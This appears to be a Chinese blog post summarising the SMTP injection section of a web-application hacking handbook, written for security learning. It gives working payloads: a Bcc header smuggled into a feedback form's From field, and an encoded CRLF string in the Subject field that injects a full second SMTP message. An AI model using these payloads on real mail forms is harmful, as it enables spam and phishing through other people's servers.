参考:The Web Application Hackers Handbook Chapter 10
许多应用程序都包含供用户通过应用程序提交消息的功能,例如报告问题以支持人员或提供有关网站的反馈。 通常通过与邮件(或SMTP)服务器接口来实现此功能。 通常,用户提供的输入会插入到应用程序服务器与邮件服务器进行的SMTP对话中。 如果攻击者可以提交未经过滤或清除的合适的人工输入,则他可以将任意STMP命令注入此对话中。
在大多数情况下,该应用程序使您可以指定消息的内容和您自己的电子邮件地址(该地址将插入到结果电子邮件的”发件人”字段中)。 您也许还可以指定消息的主题和其他详细信息。 您控制的任何相关字段可能都容易受到SMTP注入的攻击。
垃圾邮件发送者经常利用SMTP注入漏洞,它们扫描Internet以查找易受攻击的邮件形式,并使用这些形式生成大量令人讨厌的电子邮件。
1.电子邮件标题处理(E-mail Header Manipulation)
考虑一下图10-6中所示的表格,该表格允许用户发送有关应用程序的反馈。
用户可以在此处指定”发件人”地址和消息内容。 该应用程序将此输入传递给PHP mail()
命令,该命令构造电子邮件并与其配置的邮件服务器执行必要的SMTP对话。 生成的邮件如下:
To: admin@wahh-app.com
From: marcus@wahh-mail.com
Subject: Site problem
Confirm Order page doesn't load
PHP mail()
命令使用additional_headers
参数设置邮件的发件人地址。 此参数还用于通过用换行符分隔每个必需的标头来指定其他标头,包括Cc
和Bcc
。 因此,攻击者可以通过将这些标头之一注入”发件人”字段,从而将消息发送给任意收件人,如图10-7所示。
这将导致mail()命令生成以下消息:
To: admin@wahh-app.com
From: marcus@wahh-mail.com
Bcc: all@wahh-othercompany.com
Subject: Site problem
Confirm Order page doesn't load
2.SMTP命令注入(SMTP Command Injection)
在其他情况下,应用程序可以自己执行SMTP对话,或者可以将用户提供的输入传递给其他组件以执行此操作。 在这种情况下,可以将任意SMTP命令直接注入此对话中,从而可能完全控制应用程序生成的消息。
例如,考虑使用以下形式的请求来提交站点反馈的应用程序:
POST feedback.php HTTP/1.1
Host: wahh-app.com
Content-Length: 56
From=daf@wahh-mail.com&Subject=Site+feedback&Message=foo
这将导致Web应用程序使用以下命令执行SMTP对话:
MAIL FROM: daf@wahh-mail.com
RCPT TO: feedback@wahh-app.com
DATA
From: daf@wahh-mail.com
To: feedback@wahh-app.com
Subject: Site feedback
foo
NOTE
SMTP客户端发出DATA
命令后,它将发送电子邮件的内容,包括邮件头和正文。 然后,它在自己的行上发送一个点字符。 这告诉服务器消息已完成,然后客户端可以发出其他SMTP命令来发送其他消息。
在这种情况下,您可以将任意的SMTP命令注入到您控制的任何电子邮件字段中。 例如,您可以尝试按以下步骤插入到”主题”字段中:
POST feedback.php HTTP/1.1
Host: wahh-app.com
Content-Length: 266
From=daf@wahh-mail.com&Subject=Site+feedback%0d%0afoo%0d%0a%2e%0d
%0aMAIL+FROM:+mail@wahh-viagra.com%0d%0aRCPT+TO:+john@wahh-mail
.com%0d%0aDATA%0d%0aFrom:+mail@wahh-viagra.com%0d%0aTo:+john@wahh-mail
.com%0d%0aSubject:+Cheap+V1AGR4%0d%0aBlah%0d%0a%2e%0d%0a&Message=foo
如果该应用程序容易受到攻击,则会导致以下SMTP对话,该对话会生成两种不同的电子邮件。 第二个完全在您的控制范围内:
MAIL FROM: daf@wahh-mail.com
RCPT TO: feedback@wahh-app.com
DATA
From: daf@wahh-mail.com
To: feedback@wahh-app.com
Subject: Site+feedback
foo
.
MAIL FROM: mail@wahh-viagra.com
RCPT TO: john@wahh-mail.com
DATA
From: mail@wahh-viagra.com
To: john@wahh-mail.com
Subject: Cheap V1AGR4
Blah
.
foo
.
3.查找SMTP注入缺陷(Finding SMTP Injection Flaws)
为了有效地探查应用程序的邮件功能,您需要确定提交给与电子邮件相关的功能的每个参数,甚至是那些最初看起来与所生成消息的内容无关的参数。 您还应该测试每种攻击,并使用Windows和UNIX风格的换行符来执行每个测试用例。
HACK STEPS
- 1.您应该依次提交以下每个测试字符串作为每个参数,并在相关位置插入您自己的电子邮件地址: ```
[Chapter 11 Attacking Application Logic(1)-The Nature of Logic Flaws](https://dm116.github.io/2020/03/17/attacking-application-logic_1/)